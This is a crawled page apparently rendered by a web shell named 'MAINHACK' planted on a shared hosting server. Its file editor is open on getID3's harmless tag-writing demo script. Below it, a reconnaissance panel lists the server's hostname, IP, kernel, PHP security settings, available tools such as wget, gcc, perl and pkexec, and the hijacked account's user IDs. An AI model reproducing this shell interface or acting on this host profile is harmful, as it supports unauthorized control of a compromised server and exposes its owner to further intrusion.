[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: demo.simple.write.php
<?php ///////////////////////////////////////////////////////////////// /// getID3() by James Heinrich <info@getid3.org> // // available at https://github.com/JamesHeinrich/getID3 // // or https://www.getid3.org // // or http://getid3.sourceforge.net // // // // /demo/demo.simple.write.php - part of getID3() // // Sample script showing basic syntax for writing tags // // see readme.txt for more details // // /// ///////////////////////////////////////////////////////////////// die('For security reasons, this demo has been disabled. It can be enabled by removing line '.__LINE__.' in demos/'.basename(__FILE__)); $TextEncoding = 'UTF-8'; require_once('../getid3/getid3.php'); // Initialize getID3 engine $getID3 = new getID3; $getID3->setOption(array('encoding'=>$TextEncoding)); require_once('../getid3/write.php'); // Initialize getID3 tag-writing module $tagwriter = new getid3_writetags; //$tagwriter->filename = '/path/to/file.mp3'; $tagwriter->filename = 'c:/file.mp3'; //$tagwriter->tagformats = array('id3v1', 'id3v2.3'); $tagwriter->tagformats = array('id3v2.3'); // set various options (optional) $tagwriter->overwrite_tags = true; // if true will erase existing tag data and write only passed data; if false will merge passed data with existing tag data (experimental) $tagwriter->remove_other_tags = false; // if true removes other tag formats (e.g. ID3v1, ID3v2, APE, Lyrics3, etc) that may be present in the file and only write the specified tag format(s). If false leaves any unspecified tag formats as-is. $tagwriter->tag_encoding = $TextEncoding; $tagwriter->remove_other_tags = true; // populate data array $TagData = array( 'title' => array('My Song'), 'artist' => array('The Artist'), 'album' => array('Greatest Hits'), 'year' => array('2004'), 'genre' => array('Rock'), 'comment' => array('excellent!'), 'track_number' => array('04/16'), 'popularimeter' => array('email'=>'user@example.net', 'rating'=>128, 'data'=>0), 'unique_file_identifier' => array('ownerid'=>'user@example.net', 'data'=>md5(time())), ); $tagwriter->tag_data = $TagData; // write tags if ($tagwriter->WriteTags()) { echo 'Successfully wrote tags<br>'; if (!empty($tagwriter->warnings)) { echo 'There were some warnings:<br>'.implode('<br><br>', $tagwriter->warnings); } } else { echo 'Failed to write tags!<br>'.implode('<br><br>', $tagwriter->errors); }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285